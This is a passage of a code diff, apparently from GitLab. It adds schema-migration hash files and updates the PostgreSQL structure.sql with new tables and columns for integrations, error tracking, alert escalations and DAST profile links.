+++ b/db/schema_migrations/20210621044000
@@ -0,0 +1 @@
+64babbed04b9e3bf59bb723b43e3c30730527f0e0e09906073b5bd9379067ab6 \ No newline at end of file
diff --git a/db/schema_migrations/20210621084632 b/db/schema_migrations/20210621084632
new file mode 100644
index 00000000000..4ab2467fab0
--- /dev/null
+++ b/db/schema_migrations/20210621084632
@@ -0,0 +1 @@
+fb5b54e29400836afb122cd38a2ae34abc1ff6dd800eadaba023220c51da6868 \ No newline at end of file
diff --git a/db/schema_migrations/20210621090030 b/db/schema_migrations/20210621090030
new file mode 100644
index 00000000000..c015bc6ec7f
--- /dev/null
+++ b/db/schema_migrations/20210621090030
@@ -0,0 +1 @@
+5077a5c9cfe9b79506bb65d9dd02b745545a8586c198041bf7cbb945827c07cf \ No newline at end of file
diff --git a/db/schema_migrations/20210621091830 b/db/schema_migrations/20210621091830
new file mode 100644
index 00000000000..89a505b0c9a
--- /dev/null
+++ b/db/schema_migrations/20210621091830
@@ -0,0 +1 @@
+11450695142e5145e5cbf9077f259e28c908b794948be5c4b77e34465f6498aa \ No newline at end of file
diff --git a/db/schema_migrations/20210621111747 b/db/schema_migrations/20210621111747
new file mode 100644
index 00000000000..728eb47b0ba
--- /dev/null
+++ b/db/schema_migrations/20210621111747
@@ -0,0 +1 @@
+582a22626330e93e679a14eff2cdd85a5732f797fc1a6c94409d46cc5027c8ea \ No newline at end of file
diff --git a/db/schema_migrations/20210621155328 b/db/schema_migrations/20210621155328
new file mode 100644
index 00000000000..ba3dd235cee
--- /dev/null
+++ b/db/schema_migrations/20210621155328
@@ -0,0 +1 @@
+d08fdc3da5fe1a7bf20af5fbe42438fc43ebdf1299c61159740df7644e4ea117 \ No newline at end of file
diff --git a/db/schema_migrations/20210621164210 b/db/schema_migrations/20210621164210
new file mode 100644
index 00000000000..6855b8e42ee
--- /dev/null
+++ b/db/schema_migrations/20210621164210
@@ -0,0 +1 @@
+b952f1e3fe2bfa680ba68b79637e0a2a1ee5b388cfa106db62521a663262b024 \ No newline at end of file
diff --git a/db/schema_migrations/20210621223000 b/db/schema_migrations/20210621223000
new file mode 100644
index 00000000000..17f64d4b263
--- /dev/null
+++ b/db/schema_migrations/20210621223000
@@ -0,0 +1 @@
+07d0de05b6a59ba0d1f464ae488f5ead812bc643984ac3dc662c78a02a978f7f \ No newline at end of file
diff --git a/db/schema_migrations/20210621223242 b/db/schema_migrations/20210621223242
new file mode 100644
index 00000000000..9aa2562f30f
--- /dev/null
+++ b/db/schema_migrations/20210621223242
@@ -0,0 +1 @@
+eeee178019c259a6fff85219490abf62f2694227cc2facf454d93e57c373833b \ No newline at end of file
diff --git a/db/schema_migrations/20210622041846 b/db/schema_migrations/20210622041846
new file mode 100644
index 00000000000..f16291b8424
--- /dev/null
+++ b/db/schema_migrations/20210622041846
@@ -0,0 +1 @@
+750cda544df323be99452d53aaf39933c8584fc6754ece45263e131884d980d0 \ No newline at end of file
diff --git a/db/schema_migrations/20210622135221 b/db/schema_migrations/20210622135221
new file mode 100644
index 00000000000..eedd4d82b2c
--- /dev/null
+++ b/db/schema_migrations/20210622135221
@@ -0,0 +1 @@
+e43889baa57ea2cd0b87ba98819408115955f6a6586b3275cf0a08bd79909c71 \ No newline at end of file
diff --git a/db/schema_migrations/20210622141148 b/db/schema_migrations/20210622141148
new file mode 100644
index 00000000000..ba693e271aa
--- /dev/null
+++ b/db/schema_migrations/20210622141148
@@ -0,0 +1 @@
+432954295d6f3a2a45f3deef42b547ffe42501beaea4f376e1be51cf148de671 \ No newline at end of file
diff --git a/db/schema_migrations/20210623074226 b/db/schema_migrations/20210623074226
new file mode 100644
index 00000000000..76d5cd41839
--- /dev/null
+++ b/db/schema_migrations/20210623074226
@@ -0,0 +1 @@
+1a0df6210d9ee0e0229f3cdf3e95acaaa47ebf4ca31ac0fd9f57255115355f99 \ No newline at end of file
diff --git a/db/schema_migrations/20210623123722 b/db/schema_migrations/20210623123722
new file mode 100644
index 00000000000..f635c512d94
--- /dev/null
+++ b/db/schema_migrations/20210623123722
@@ -0,0 +1 @@
+af58377b87f7e0fb4709637f96b24a4075322d0d8cf87dfaf5bf8e0f8a9372e0 \ No newline at end of file
diff --git a/db/schema_migrations/20210623133635 b/db/schema_migrations/20210623133635
new file mode 100644
index 00000000000..bd59fe90c62
--- /dev/null
+++ b/db/schema_migrations/20210623133635
@@ -0,0 +1 @@
+1a930fec524c91c5d382c40514d0d1943e59514f5dbd8588595363c24819b8d0 \ No newline at end of file
diff --git a/db/schema_migrations/20210623163342 b/db/schema_migrations/20210623163342
new file mode 100644
index 00000000000..f60112edd81
--- /dev/null
+++ b/db/schema_migrations/20210623163342
@@ -0,0 +1 @@
+6732401a959a7a691b8729e2bfb38e010dd4da4cd04418aada22946c42fdd6dc \ No newline at end of file
diff --git a/db/schema_migrations/20210624112821 b/db/schema_migrations/20210624112821
new file mode 100644
index 00000000000..86b0e9612e0
--- /dev/null
+++ b/db/schema_migrations/20210624112821
@@ -0,0 +1 @@
+2fca5d3203b7bb766274fc333e9a2a267340142856bd23efaabb1cb2c1cb7cb7 \ No newline at end of file
diff --git a/db/schema_migrations/20210624180613 b/db/schema_migrations/20210624180613
new file mode 100644
index 00000000000..e7f4d25fc78
--- /dev/null
+++ b/db/schema_migrations/20210624180613
@@ -0,0 +1 @@
+705c4cf981f1929f8e8e4d8a8a3c12613516d65e59c71ac79048224cd97c47cc \ No newline at end of file
diff --git a/db/schema_migrations/20210625094554 b/db/schema_migrations/20210625094554
new file mode 100644
index 00000000000..a20925101f8
--- /dev/null
+++ b/db/schema_migrations/20210625094554
@@ -0,0 +1 @@
+df9e976b0f294284ad9e9b617da42310c83cb1acc6db6ea00ea93c49c2310a1c \ No newline at end of file
diff --git a/db/schema_migrations/20210627204936 b/db/schema_migrations/20210627204936
new file mode 100644
index 00000000000..abc39339816
--- /dev/null
+++ b/db/schema_migrations/20210627204936
@@ -0,0 +1 @@
+b37bf7db9c00c8f54c0ccca2d418f1279e12ff7e5b71347966494dc5645eb648 \ No newline at end of file
diff --git a/db/schema_migrations/20210628124505 b/db/schema_migrations/20210628124505
new file mode 100644
index 00000000000..478617f5506
--- /dev/null
+++ b/db/schema_migrations/20210628124505
@@ -0,0 +1 @@
+7add197fec50d8da5bcdbca83115558480668c26ad3a3fefc4ab93c07f34f63a \ No newline at end of file
diff --git a/db/schema_migrations/20210629101712 b/db/schema_migrations/20210629101712
new file mode 100644
index 00000000000..4b4a88bdfa3
--- /dev/null
+++ b/db/schema_migrations/20210629101712
@@ -0,0 +1 @@
+28e448810fdf8bab4de44d45acac862e752f578b5b8fd77b885a385b9ef16b2d \ No newline at end of file
diff --git a/db/schema_migrations/20210629104933 b/db/schema_migrations/20210629104933
new file mode 100644
index 00000000000..4c5a3fb0003
--- /dev/null
+++ b/db/schema_migrations/20210629104933
@@ -0,0 +1 @@
+2ec44dfd0745fd155ab3ab52153688a8969641134a9cc0cc485dd698cc8fd2d1 \ No newline at end of file
diff --git a/db/schema_migrations/20210629153519 b/db/schema_migrations/20210629153519
new file mode 100644
index 00000000000..304ff5c9fa6
--- /dev/null
+++ b/db/schema_migrations/20210629153519
@@ -0,0 +1 @@
+cba36a2e8bedd70f8ccaca47517314d0a3c75a9b8d90715a29919247aa686835 \ No newline at end of file
diff --git a/db/schema_migrations/20210630025020 b/db/schema_migrations/20210630025020
new file mode 100644
index 00000000000..7808a7e3178
--- /dev/null
+++ b/db/schema_migrations/20210630025020
@@ -0,0 +1 @@
+71ad8c8f2419721f8fdf6c6bbd1265c4a7ca277972c59319e155bc6dfc46aa48 \ No newline at end of file
diff --git a/db/schema_migrations/20210630144339 b/db/schema_migrations/20210630144339
new file mode 100644
index 00000000000..5d91d60199c
--- /dev/null
+++ b/db/schema_migrations/20210630144339
@@ -0,0 +1 @@
+8d1777941e1a4b5f9f8f5f5e3ae416d6d02aaee1174eff1f9b4b38a6cdf0103a \ No newline at end of file
diff --git a/db/schema_migrations/20210701111627 b/db/schema_migrations/20210701111627
new file mode 100644
index 00000000000..ca52a786a22
--- /dev/null
+++ b/db/schema_migrations/20210701111627
@@ -0,0 +1 @@
+c2efdad12c3d0ec5371259baa91466137b827f513250e901842ab28e56c3de0a \ No newline at end of file
diff --git a/db/schema_migrations/20210701111909 b/db/schema_migrations/20210701111909
new file mode 100644
index 00000000000..ed6e2d56e8d
--- /dev/null
+++ b/db/schema_migrations/20210701111909
@@ -0,0 +1 @@
+fdd7509fc88e563b65b487706cae1a64066a7ba7d4bd13d0414b8431c3ddfb68 \ No newline at end of file
diff --git a/db/schema_migrations/20210702124842 b/db/schema_migrations/20210702124842
new file mode 100644
index 00000000000..dbaeb88a6fd
--- /dev/null
+++ b/db/schema_migrations/20210702124842
@@ -0,0 +1 @@
+8c4c92c4606cf406def47829ce16e903b3b2da00cbbdccfe6f0af5fa249be862 \ No newline at end of file
diff --git a/db/schema_migrations/20210705124128 b/db/schema_migrations/20210705124128
new file mode 100644
index 00000000000..247378331e4
--- /dev/null
+++ b/db/schema_migrations/20210705124128
@@ -0,0 +1 @@
+02aea8fe759614bc3aa751e023aa508963f8183366f6d6f518bbccc2d85ec1a1 \ No newline at end of file
diff --git a/db/schema_migrations/20210705130919 b/db/schema_migrations/20210705130919
new file mode 100644
index 00000000000..9e0b9ffe69a
--- /dev/null
+++ b/db/schema_migrations/20210705130919
@@ -0,0 +1 @@
+c33dd2c63d5a8c6e3c2f49e640b1780734b4bfca88378fac67ea5f5bd24fb2b4 \ No newline at end of file
diff --git a/db/schema_migrations/20210705132928 b/db/schema_migrations/20210705132928
new file mode 100644
index 00000000000..c1ef3ec3c1f
--- /dev/null
+++ b/db/schema_migrations/20210705132928
@@ -0,0 +1 @@
+c66a42fc813846a09d4389a895a2d20ad48889d8ff45ab642e771b6792490623 \ No newline at end of file
diff --git a/db/schema_migrations/20210705144657 b/db/schema_migrations/20210705144657
new file mode 100644
index 00000000000..557dbdbd95c
--- /dev/null
+++ b/db/schema_migrations/20210705144657
@@ -0,0 +1 @@
+9ba27b5e2599262846a06736db72fb0d31dc904e2ef4d167c1ee9530feb6367f \ No newline at end of file
diff --git a/db/schema_migrations/20210706084713 b/db/schema_migrations/20210706084713
new file mode 100644
index 00000000000..7c87af30919
--- /dev/null
+++ b/db/schema_migrations/20210706084713
@@ -0,0 +1 @@
+f69e3f50e4e5642a59e157a3c4a133090ec843b563e47198d560a54328176e56 \ No newline at end of file
diff --git a/db/schema_migrations/20210706115312 b/db/schema_migrations/20210706115312
new file mode 100644
index 00000000000..a1298418836
--- /dev/null
+++ b/db/schema_migrations/20210706115312
@@ -0,0 +1 @@
+ac150e706b115849aa3802ae7b8e07d983e89eb637c48582c64948cbc7d7163d \ No newline at end of file
diff --git a/db/schema_migrations/20210706120847 b/db/schema_migrations/20210706120847
new file mode 100644
index 00000000000..329e5650dd0
--- /dev/null
+++ b/db/schema_migrations/20210706120847
@@ -0,0 +1 @@
+0fffffc44c32a936760424541e183b1a41938750d4e10da9dd76c2a09094a07b \ No newline at end of file
diff --git a/db/schema_migrations/20210706142819 b/db/schema_migrations/20210706142819
new file mode 100644
index 00000000000..193c6ba1d56
--- /dev/null
+++ b/db/schema_migrations/20210706142819
@@ -0,0 +1 @@
+ed0daff7120cbdba2f0e9ca1f2e40c11114bb2c7db4543903d16891ffbbba3f8 \ No newline at end of file
diff --git a/db/schema_migrations/20210706152139 b/db/schema_migrations/20210706152139
new file mode 100644
index 00000000000..81339dc1d81
--- /dev/null
+++ b/db/schema_migrations/20210706152139
@@ -0,0 +1 @@
+45ec2dd6113d112050a1ac062064950fa18b3b5903a9fd60234e9e9fa48c7070 \ No newline at end of file
diff --git a/db/schema_migrations/20210706213537 b/db/schema_migrations/20210706213537
new file mode 100644
index 00000000000..fa621773ee7
--- /dev/null
+++ b/db/schema_migrations/20210706213537
@@ -0,0 +1 @@
+150463cef309e6bf69240c258dc8aede53b846a08a7e2d668ee0429709022554 \ No newline at end of file
diff --git a/db/schema_migrations/20210707095545 b/db/schema_migrations/20210707095545
new file mode 100644
index 00000000000..83255c22622
--- /dev/null
+++ b/db/schema_migrations/20210707095545
@@ -0,0 +1 @@
+98d4deaf0564119c1ee44d76d3a30bff1a0fceb7cab67c5dbef576faef62ddf5 \ No newline at end of file
diff --git a/db/schema_migrations/20210707151536 b/db/schema_migrations/20210707151536
new file mode 100644
index 00000000000..feea256b2ac
--- /dev/null
+++ b/db/schema_migrations/20210707151536
@@ -0,0 +1 @@
+4fc688d17e374faf806a25635e05b053228ac201b94920d4f3b3810329a6552c \ No newline at end of file
diff --git a/db/schema_migrations/20210707171536 b/db/schema_migrations/20210707171536
new file mode 100644
index 00000000000..dd78b254a67
--- /dev/null
+++ b/db/schema_migrations/20210707171536
@@ -0,0 +1 @@
+ee8576a7dec8e0657a3976422f74202e3f89c9a72aae64f0f75398d0c6ff5b97 \ No newline at end of file
diff --git a/db/schema_migrations/20210707171554 b/db/schema_migrations/20210707171554
new file mode 100644
index 00000000000..ef6f174f734
--- /dev/null
+++ b/db/schema_migrations/20210707171554
@@ -0,0 +1 @@
+5f2acbd5ed9132ad6c11cf4be34061decde2f3c602ef319331454b424e6b4344 \ No newline at end of file
diff --git a/db/schema_migrations/20210707173645 b/db/schema_migrations/20210707173645
new file mode 100644
index 00000000000..0cc2386b4ef
--- /dev/null
+++ b/db/schema_migrations/20210707173645
@@ -0,0 +1 @@
+e440dac0e14df7309c84e72b98ed6373c712901dc66310a474979e0fce7dc59c \ No newline at end of file
diff --git a/db/schema_migrations/20210707181536 b/db/schema_migrations/20210707181536
new file mode 100644
index 00000000000..7bbdcc9a1d0
--- /dev/null
+++ b/db/schema_migrations/20210707181536
@@ -0,0 +1 @@
+0c25d19d03bce4f145eca271c852aad6a8327821a8f5ff0aa2f0286f4a65b328 \ No newline at end of file
diff --git a/db/schema_migrations/20210708063032 b/db/schema_migrations/20210708063032
new file mode 100644
index 00000000000..9d3271bdd91
--- /dev/null
+++ b/db/schema_migrations/20210708063032
@@ -0,0 +1 @@
+77f6db1d2aeebdefd76c96966da6c9e4ce5da2c92a42f6ac2398b35fa21c680f \ No newline at end of file
diff --git a/db/schema_migrations/20210708124229 b/db/schema_migrations/20210708124229
new file mode 100644
index 00000000000..29cf5b8986f
--- /dev/null
+++ b/db/schema_migrations/20210708124229
@@ -0,0 +1 @@
+18f7a9a0e9f0b331028951adf2bf6ca9a9fc4a62872f5307ee9d74761ae06deb \ No newline at end of file
diff --git a/db/schema_migrations/20210708130419 b/db/schema_migrations/20210708130419
new file mode 100644
index 00000000000..b20db5b17c2
--- /dev/null
+++ b/db/schema_migrations/20210708130419
@@ -0,0 +1 @@
+8545d6575c9dacec6796882677c4403cf3559430518e8709bf390f20717413d7 \ No newline at end of file
diff --git a/db/schema_migrations/20210708131048 b/db/schema_migrations/20210708131048
new file mode 100644
index 00000000000..f61978d8e0f
--- /dev/null
+++ b/db/schema_migrations/20210708131048
@@ -0,0 +1 @@
+ed0c0dc015e7c3457248303b8b478c8d259d6a800a2bfed8b05b1f976b6794a7 \ No newline at end of file
diff --git a/db/schema_migrations/20210708134446 b/db/schema_migrations/20210708134446
new file mode 100644
index 00000000000..9ec3b2182df
--- /dev/null
+++ b/db/schema_migrations/20210708134446
@@ -0,0 +1 @@
+1367865e22f6129fa69f3c86dc72b88a9af0479a41f2029a446464aeeed9c18e \ No newline at end of file
diff --git a/db/schema_migrations/20210709085759 b/db/schema_migrations/20210709085759
new file mode 100644
index 00000000000..4546b090e42
--- /dev/null
+++ b/db/schema_migrations/20210709085759
@@ -0,0 +1 @@
+4216604d14b4ccc652ba423a95ee9bd15646b3553903dc4b79497871f5384492 \ No newline at end of file
diff --git a/db/schema_migrations/20210709132707 b/db/schema_migrations/20210709132707
new file mode 100644
index 00000000000..04ba096a692
--- /dev/null
+++ b/db/schema_migrations/20210709132707
@@ -0,0 +1 @@
+e0a2de69a3c9d616b87207b764e33fa3326627e065f28fc200c1414f08ee9fff \ No newline at end of file
diff --git a/db/schema_migrations/20210713070842 b/db/schema_migrations/20210713070842
new file mode 100644
index 00000000000..857dea1627e
--- /dev/null
+++ b/db/schema_migrations/20210713070842
@@ -0,0 +1 @@
+2899d954a199fa52bf6ab4beca5f22dcb9f9f0312e658f1307d1a7355394f1bb \ No newline at end of file
diff --git a/db/schema_migrations/20210713135152 b/db/schema_migrations/20210713135152
new file mode 100644
index 00000000000..a1ba4e939e9
--- /dev/null
+++ b/db/schema_migrations/20210713135152
@@ -0,0 +1 @@
+d7f8f7f5d8a6cf03d500825ef43234c69f7ad36908c0bade337591b05985c2fe \ No newline at end of file
diff --git a/db/schema_migrations/20210713144637 b/db/schema_migrations/20210713144637
new file mode 100644
index 00000000000..ebc122e0275
--- /dev/null
+++ b/db/schema_migrations/20210713144637
@@ -0,0 +1 @@
+699ac7f8b9253920271686c497b57521bf4b0d26c802ca2a57447e4929cd147f \ No newline at end of file
diff --git a/db/schema_migrations/20210714120600 b/db/schema_migrations/20210714120600
new file mode 100644
index 00000000000..e698300671b
--- /dev/null
+++ b/db/schema_migrations/20210714120600
@@ -0,0 +1 @@
+de9167bc4f9e2b68b257a7ff81636d5dbb6d73ff81672fdf1c73adadf5707bea \ No newline at end of file
diff --git a/db/schema_migrations/20210716074555 b/db/schema_migrations/20210716074555
new file mode 100644
index 00000000000..f079b199ca5
--- /dev/null
+++ b/db/schema_migrations/20210716074555
@@ -0,0 +1 @@
+5cf415013b50c46fde5f12702c3f5bae808848a82eb57bfa38764947fc672ad9 \ No newline at end of file
diff --git a/db/structure.sql b/db/structure.sql
index 64161ee7843..da2d4c50068 100644
--- a/db/structure.sql
+++ b/db/structure.sql
@@ -18,7 +18,7 @@ UPDATE projects SET has_external_issue_tracker = (
EXISTS
(
SELECT 1
- FROM services
+ FROM integrations
WHERE project_id = COALESCE(NEW.project_id, OLD.project_id)
AND active = TRUE
AND category = 'issue_tracker'
@@ -199,6 +199,18 @@ CREATE TABLE audit_events (
)
PARTITION BY RANGE (created_at);
+CREATE TABLE incident_management_pending_alert_escalations (
+ id bigint NOT NULL,
+ rule_id bigint,
+ alert_id bigint NOT NULL,
+ schedule_id bigint NOT NULL,
+ process_at timestamp with time zone NOT NULL,
+ created_at timestamp with time zone NOT NULL,
+ updated_at timestamp with time zone NOT NULL,
+ status smallint NOT NULL
+)
+PARTITION BY RANGE (process_at);
+
CREATE TABLE web_hook_logs (
id bigint NOT NULL,
web_hook_id integer NOT NULL,
@@ -9123,6 +9135,11 @@ CREATE TABLE analytics_devops_adoption_snapshots (
total_projects_count integer,
code_owners_used_count integer,
namespace_id integer,
+ sast_enabled_count integer,
+ dast_enabled_count integer,
+ dependency_scanning_enabled_count integer,
+ coverage_fuzzing_enabled_count integer,
+ vulnerability_management_used_count integer,
CONSTRAINT check_3f472de131 CHECK ((namespace_id IS NOT NULL))
);
@@ -9199,7 +9216,7 @@ ALTER SEQUENCE appearances_id_seq OWNED BY appearances.id;
CREATE TABLE application_setting_terms (
id integer NOT NULL,
cached_markdown_version integer,
- terms text NOT NULL,
+ terms text,
terms_html text
);
@@ -9528,6 +9545,11 @@ CREATE TABLE application_settings (
encrypted_elasticsearch_password_iv bytea,
diff_max_lines integer DEFAULT 50000 NOT NULL,
diff_max_files integer DEFAULT 1000 NOT NULL,
+ valid_runner_registrars character varying[] DEFAULT '{project,group}'::character varying[],
+ encrypted_mailgun_signing_key bytea,
+ encrypted_mailgun_signing_key_iv bytea,
+ mailgun_events_enabled boolean DEFAULT false NOT NULL,
+ usage_ping_features_enabled boolean DEFAULT false NOT NULL,
CONSTRAINT app_settings_container_reg_cleanup_tags_max_list_size_positive CHECK ((container_registry_cleanup_tags_service_max_list_size >= 0)),
CONSTRAINT app_settings_ext_pipeline_validation_service_url_text_limit CHECK ((char_length(external_pipeline_validation_service_url) <= 255)),
CONSTRAINT app_settings_registry_exp_policies_worker_capacity_positive CHECK ((container_registry_expiration_policies_worker_capacity >= 0)),
@@ -10812,7 +10834,8 @@ CREATE TABLE ci_pending_builds (
build_id bigint NOT NULL,
project_id bigint NOT NULL,
created_at timestamp with time zone DEFAULT now() NOT NULL,
- protected boolean DEFAULT false NOT NULL
+ protected boolean DEFAULT false NOT NULL,
+ instance_runners_enabled boolean DEFAULT false NOT NULL
);
CREATE SEQUENCE ci_pending_builds_id_seq
@@ -11640,30 +11663,6 @@ CREATE SEQUENCE clusters_applications_elastic_stacks_id_seq
ALTER SEQUENCE clusters_applications_elastic_stacks_id_seq OWNED BY clusters_applications_elastic_stacks.id;
-CREATE TABLE clusters_applications_fluentd (
- id bigint NOT NULL,
- protocol smallint NOT NULL,
- status integer NOT NULL,
- port integer NOT NULL,
- cluster_id bigint NOT NULL,
- created_at timestamp with time zone NOT NULL,
- updated_at timestamp with time zone NOT NULL,
- version character varying(255) NOT NULL,
- host character varying(255) NOT NULL,
- status_reason text,
- waf_log_enabled boolean DEFAULT true NOT NULL,
- cilium_log_enabled boolean DEFAULT true NOT NULL
-);
-
-CREATE SEQUENCE clusters_applications_fluentd_id_seq
- START WITH 1
- INCREMENT BY 1
- NO MINVALUE
- NO MAXVALUE
- CACHE 1;
-
-ALTER SEQUENCE clusters_applications_fluentd_id_seq OWNED BY clusters_applications_fluentd.id;
-
CREATE TABLE clusters_applications_helm (
id integer NOT NULL,
cluster_id integer NOT NULL,
@@ -11697,9 +11696,7 @@ CREATE TABLE clusters_applications_ingress (
cluster_ip character varying,
status_reason text,
external_ip character varying,
- external_hostname character varying,
- modsecurity_enabled boolean,
- modsecurity_mode smallint DEFAULT 0 NOT NULL
+ external_hostname character varying
);
CREATE SEQUENCE clusters_applications_ingress_id_seq
@@ -12055,6 +12052,13 @@ CREATE TABLE dast_scanner_profiles (
CONSTRAINT check_568568fabf CHECK ((char_length(name) <= 255))
);
+CREATE TABLE dast_scanner_profiles_builds (
+ dast_scanner_profile_id bigint NOT NULL,
+ ci_build_id bigint NOT NULL
+);
+
+COMMENT ON TABLE dast_scanner_profiles_builds IS '{"owner":"group::dynamic analysis","description":"Join table between DAST Scanner Profiles and CI Builds"}';
+
CREATE SEQUENCE dast_scanner_profiles_id_seq
START WITH 1
INCREMENT BY 1
@@ -12110,6 +12114,13 @@ CREATE TABLE dast_site_profiles (
CONSTRAINT check_f22f18002a CHECK ((char_length(auth_username) <= 255))
);
+CREATE TABLE dast_site_profiles_builds (
+ dast_site_profile_id bigint NOT NULL,
+ ci_build_id bigint NOT NULL
+);
+
+COMMENT ON TABLE dast_site_profiles_builds IS '{"owner":"group::dynamic analysis","description":"Join table between DAST Site Profiles and CI Builds"}';
+
CREATE SEQUENCE dast_site_profiles_id_seq
START WITH 1
INCREMENT BY 1
@@ -12746,6 +12757,57 @@ CREATE SEQUENCE epics_id_seq
ALTER SEQUENCE epics_id_seq OWNED BY epics.id;
+CREATE TABLE error_tracking_error_events (
+ id bigint NOT NULL,
+ error_id bigint NOT NULL,
+ description text NOT NULL,
+ environment text,
+ level text,
+ occurred_at timestamp with time zone NOT NULL,
+ payload jsonb DEFAULT '{}'::jsonb NOT NULL,
+ created_at timestamp with time zone NOT NULL,
+ updated_at timestamp with time zone NOT NULL,
+ CONSTRAINT check_92ecc3077b CHECK ((char_length(description) <= 255)),
+ CONSTRAINT check_c67d5b8007 CHECK ((char_length(level) <= 255)),
+ CONSTRAINT check_f4b52474ad CHECK ((char_length(environment) <= 255))
+);
+
+CREATE SEQUENCE error_tracking_error_events_id_seq
+ START WITH 1
+ INCREMENT BY 1
+ NO MINVALUE
+ NO MAXVALUE
+ CACHE 1;
+
+ALTER SEQUENCE error_tracking_error_events_id_seq OWNED BY error_tracking_error_events.id;
+
+CREATE TABLE error_tracking_errors (
+ id bigint NOT NULL,
+ project_id bigint NOT NULL,
+ name text NOT NULL,
+ description text NOT NULL,
+ actor text NOT NULL,
+ first_seen_at timestamp with time zone DEFAULT now() NOT NULL,
+ last_seen_at timestamp with time zone DEFAULT now() NOT NULL,
+ platform text,
+ created_at timestamp with time zone NOT NULL,
+ updated_at timestamp with time zone NOT NULL,
+ events_count bigint DEFAULT 0 NOT NULL,
+ CONSTRAINT check_18a758e537 CHECK ((char_length(name) <= 255)),
+ CONSTRAINT check_b5cb4d3888 CHECK ((char_length(actor) <= 255)),
+ CONSTRAINT check_c739788b12 CHECK ((char_length(description) <= 1024)),
+ CONSTRAINT check_fe99886883 CHECK ((char_length(platform) <= 255))
+);
+
+CREATE SEQUENCE error_tracking_errors_id_seq
+ START WITH 1
+ INCREMENT BY 1
+ NO MINVALUE
+ NO MAXVALUE
+ CACHE 1;
+
+ALTER SEQUENCE error_tracking_errors_id_seq OWNED BY error_tracking_errors.id;
+
CREATE TABLE events (
id integer NOT NULL,
project_id integer,
@@ -13906,6 +13968,15 @@ CREATE SEQUENCE incident_management_oncall_shifts_id_seq
ALTER SEQUENCE incident_management_oncall_shifts_id_seq OWNED BY incident_management_oncall_shifts.id;
+CREATE SEQUENCE incident_management_pending_alert_escalations_id_seq
+ START WITH 1
+ INCREMENT BY 1
+ NO MINVALUE
+ NO MAXVALUE
+ CACHE 1;
+
+ALTER SEQUENCE incident_management_pending_alert_escalations_id_seq OWNED BY incident_management_pending_alert_escalations.id;
+
CREATE TABLE index_statuses (
id integer NOT NULL,
project_id integer NOT NULL,
@@ -13942,6 +14013,45 @@ CREATE SEQUENCE insights_id_seq
ALTER SEQUENCE insights_id_seq OWNED BY insights.id;
+CREATE TABLE integrations (
+ id integer NOT NULL,
+ type character varying,
+ project_id integer,
+ created_at timestamp without time zone,
+ updated_at timestamp without time zone,
+ active boolean DEFAULT false NOT NULL,
+ properties text,
+ push_events boolean DEFAULT true,
+ issues_events boolean DEFAULT true,
+ merge_requests_events boolean DEFAULT true,
+ tag_push_events boolean DEFAULT true,
+ note_events boolean DEFAULT true NOT NULL,
+ category character varying DEFAULT 'common'::character varying NOT NULL,
+ wiki_page_events boolean DEFAULT true,
+ pipeline_events boolean DEFAULT false NOT NULL,
+ confidential_issues_events boolean DEFAULT true NOT NULL,
+ commit_events boolean DEFAULT true NOT NULL,
+ job_events boolean DEFAULT false NOT NULL,
+ confidential_note_events boolean DEFAULT true,
+ deployment_events boolean DEFAULT false NOT NULL,
+ comment_on_event_enabled boolean DEFAULT true NOT NULL,
+ template boolean DEFAULT false,
+ instance boolean DEFAULT false NOT NULL,
+ comment_detail smallint,
+ inherit_from_id bigint,
+ alert_events boolean,
+ group_id bigint
+);
+
+CREATE SEQUENCE integrations_id_seq
+ START WITH 1
+ INCREMENT BY 1
+ NO MINVALUE
+ NO MAXVALUE
+ CACHE 1;
+
+ALTER SEQUENCE integrations_id_seq OWNED BY integrations.id;
+
CREATE TABLE internal_ids (
id bigint NOT NULL,
project_id integer,
@@ -14160,6 +14270,7 @@ CREATE TABLE issues (
sprint_id bigint,
issue_type smallint DEFAULT 0 NOT NULL,
blocking_issues_count integer DEFAULT 0 NOT NULL,
+ upvotes_count integer DEFAULT 0 NOT NULL,
CONSTRAINT check_fba63f706d CHECK ((lock_version IS NOT NULL))
);
@@ -14478,7 +14589,8 @@ CREATE TABLE licenses (
data text NOT NULL,
created_at timestamp without time zone,
updated_at timestamp without time zone,
- cloud boolean DEFAULT false
+ cloud boolean DEFAULT false,
+ last_synced_at timestamp with time zone
);
CREATE SEQUENCE licenses_id_seq
@@ -14600,7 +14712,9 @@ CREATE TABLE merge_request_cleanup_schedules (
scheduled_at timestamp with time zone NOT NULL,
completed_at timestamp with time zone,
created_at timestamp with time zone NOT NULL,
- updated_at timestamp with time zone NOT NULL
+ updated_at timestamp with time zone NOT NULL,
+ status smallint DEFAULT 0 NOT NULL,
+ failed_count integer DEFAULT 0 NOT NULL
);
CREATE SEQUENCE merge_request_cleanup_schedules_merge_request_id_seq
@@ -14652,6 +14766,24 @@ CREATE SEQUENCE merge_request_context_commits_id_seq
ALTER SEQUENCE merge_request_context_commits_id_seq OWNED BY merge_request_context_commits.id;
+CREATE TABLE merge_request_diff_commit_users (
+ id bigint NOT NULL,
+ name text,
+ email text,
+ CONSTRAINT check_147358fc42 CHECK ((char_length(name) <= 512)),
+ CONSTRAINT check_f5fa206cf7 CHECK ((char_length(email) <= 512)),
+ CONSTRAINT merge_request_diff_commit_users_name_or_email_existence CHECK (((COALESCE(name, ''::text) <> ''::text) OR (COALESCE(email, ''::text) <> ''::text)))
+);
+
+CREATE SEQUENCE merge_request_diff_commit_users_id_seq
+ START WITH 1
+ INCREMENT BY 1
+ NO MINVALUE
+ NO MAXVALUE
+ CACHE 1;
+
+ALTER SEQUENCE merge_request_diff_commit_users_id_seq OWNED BY merge_request_diff_commit_users.id;
+
CREATE TABLE merge_request_diff_commits (
authored_date timestamp without time zone,
committed_date timestamp without time zone,
@@ -14663,7 +14795,9 @@ CREATE TABLE merge_request_diff_commits (
committer_name text,
committer_email text,
message text,
- trailers jsonb DEFAULT '{}'::jsonb NOT NULL
+ trailers jsonb DEFAULT '{}'::jsonb NOT NULL,
+ commit_author_id bigint,
+ committer_id bigint
);
CREATE TABLE merge_request_diff_details (
@@ -15034,6 +15168,7 @@ CREATE TABLE namespace_settings (
resource_access_token_creation_allowed boolean DEFAULT true NOT NULL,
lock_delayed_project_removal boolean DEFAULT false NOT NULL,
prevent_sharing_groups_outside_hierarchy boolean DEFAULT false NOT NULL,
+ new_user_signups_cap integer,
CONSTRAINT check_0ba93c78c7 CHECK ((char_length(default_branch_name) <= 255))
);
@@ -16292,7 +16427,10 @@ CREATE TABLE plan_limits (
ci_registered_group_runners integer DEFAULT 1000 NOT NULL,
ci_registered_project_runners integer DEFAULT 1000 NOT NULL,
web_hook_calls integer DEFAULT 0 NOT NULL,
